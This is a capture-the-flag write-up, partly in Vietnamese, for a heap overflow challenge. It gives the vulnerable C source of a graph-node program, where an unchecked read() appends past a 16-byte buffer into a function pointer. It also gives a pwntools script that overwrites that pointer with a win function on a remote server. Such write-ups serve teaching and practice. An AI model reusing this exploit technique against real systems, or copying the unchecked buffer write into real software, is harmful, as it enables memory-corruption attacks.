node user

Vulnerability: heap buffer overflow - improper buffer check in read()

December 22, 2025 December 20, 2025 Easy

Recon

Mitigation

Code

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>

typedef struct node
{
    size_t id, n;
    char data[16];
    void (*func_ptr)(char *);
    size_t link[16];
} node;

node *nodes[16];

void node_method(char words[])
{
    puts(words);
}

node *Create_Node(size_t id)
{
    node *tmp = (node *)malloc(sizeof(node));
    if (!tmp)
        return NULL;
    else
    {
        tmp->id = id;
        tmp->n = 0;
        tmp->func_ptr = &node_method;
        memset(tmp->data, 0, sizeof(tmp->data));
        memset(tmp->link, -1, sizeof(tmp->link));
        return tmp;
    }
}

void Link_Node(size_t src, size_t dest)
{
    if (nodes[src] && nodes[dest])
    {
        for (int i = 0; i < nodes[src]->n; i++)
            if (nodes[src]->link[i] == dest)
                exit(-1);

        node *src_node = nodes[src], *dest_node = nodes[dest];
        src_node->link[src_node->n++] = dest;
        dest_node->link[dest_node->n++] = src;
        src_node->func_ptr("Done!");
    }
    else
    {
        puts("Invalid");
    }
}

void Read_Graph(size_t start)
{
    size_t is_visited[16] = {0}, n;
    node *node_list[16], *tmp;

    if (!nodes[start])
    {
        puts("Not created node");
        return;
    }

    node_list[0] = nodes[start];

    n = 1;
    while (n)
    {
        tmp = node_list[0];
        printf("Node: %llu\n", tmp->id);

        is_visited[tmp->id] = 1;

        tmp->func_ptr("Data: ");
        read(0, tmp->data + strlen(tmp->data), 16);
        tmp->func_ptr("Done!");

        for (int i = 0; i < tmp->n; i++)
        {
            if (!is_visited[tmp->link[i]])
                node_list[n++] = nodes[tmp->link[i]];
        }

        // remove the first element in node_list
        for (int i = 0; i < n; i++)
            node_list[i] = node_list[i + 1];
        n--;
    }
    puts("Data saved");
}

void call_me()
{
    system("cat flag");
}

void menu()
{
    puts("1. Create node");
    puts("2. Link nodes");
    puts("3. Save data");
    puts("4. Exit");
    puts(">> ");
}

void setup()
{
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
}

int main()
{
    size_t choice, id1, id2;
    setup();
    memset(nodes, 0, sizeof(nodes));
    while (1)
    {
        menu();
        scanf("%llu", &choice);
        switch (choice)
        {
        case 1:
            puts("Id: ");
            scanf("%llu", &id1);
            if (id1 < 16 && nodes[id1])
                puts("Node exists");
            else if (id1 >= 16)
                puts("Invalid id");
            else
            {
                nodes[id1] = Create_Node(id1);
                nodes[id1]->func_ptr("Created");
            }
            break;
        case 2:
            puts("Node 1: ");
            scanf("%llu", &id1);
            puts("Node 2:");
            scanf("%llu", &id2);
            if (id1 < 16 && id2 < 16 && id1 != id2)
                Link_Node(id1, id2);
            else
                puts("Invalid");
            break;
        case 3:
            puts("Read from: ");
            scanf("%llu", &id1);
            Read_Graph(id1);
            break;
        case 4:
            exit(0);
        default:
            puts("Invalid choice");
            break;
        }
    }
    return 0;
}

Trước hết mình kiểm tra kích thước của struct node, bao gồm:

  • id: 8 byte
  • n (số link): 8 byte
  • data: 16 byte
  • function pointer: 8 byte
  • 16 link (con trỏ đến các node khác): 8 * 16 = 128 byte Tổng là 160 byte.

Vì PIE disabled, nên mình đặt mục tiêu là ghi địa chỉ của hàm call_me() vào trường function pointer của node đã tạo để mở shell.

Lúc đầu mình nhìn vào hàm Link_Node():

void Link_Node(size_t src, size_t dest)
{
    if (nodes[src] && nodes[dest])
    {
        for (int i = 0; i < nodes[src]->n; i++)
            if (nodes[src]->link[i] == dest)
                exit(-1);

        node *src_node = nodes[src], *dest_node = nodes[dest];
        src_node->link[src_node->n++] = dest;
        dest_node->link[dest_node->n++] = src;
        src_node->func_ptr("Done!");
    }
    else
    {
        puts("Invalid");
    }
}

Mình nghĩ rằng node->n ở đây không được kiểm tra liệu có đạt giới hạn hay chưa, bởi mỗi node chỉ có tối đa 16 link, nên có thể ở đây có out-of-bound write.

Nhưng giả thuyết của mình là sai, chương trình đi vào nhánh exit() khi link đầy. Tiếp theo mình để ý đến đoạn code này trong hàm Read_Graph():

tmp->func_ptr("Data: ");
read(0, tmp->data + strlen(tmp->data), 16);
tmp->func_ptr("Done!");

Cho phép ghi vào vị trí node->data cộng thêm độ dài data đã ghi.

Solve

Vậy mình nghĩ ngay đến overflow trường data để ghi đè vào function pointer với địa chỉ của hàm call_me().

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset

exe = ELF("node_node_node_patched")

context.terminal = ['tmux', 'splitw', '-h']
context.binary = exe

gdbscript = '''
b *0x00000000004015b2
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
        if args.DEBUG:
            context.log_level = 'debug'
        return p
    else:
        host = "103.75.186.106"
        port = 1337
        return remote(host, port)

p = conn()

def create_note(id):
    slan(p, b'>>', 1)
    slan(p, b'Id', id)

def save_data(id, data):
    slan(p, b'>>', 3)
    slan(p, b'from', id)
    sa(p, b'Data', data)

create_note(1)
create_note(2)

save_data(1, b'A' * 15 + b'\0') # null at the end so strlen will just count 15 bytes
save_data(1, b'A' + p64(exe.symbols['call_me']))

ia(p)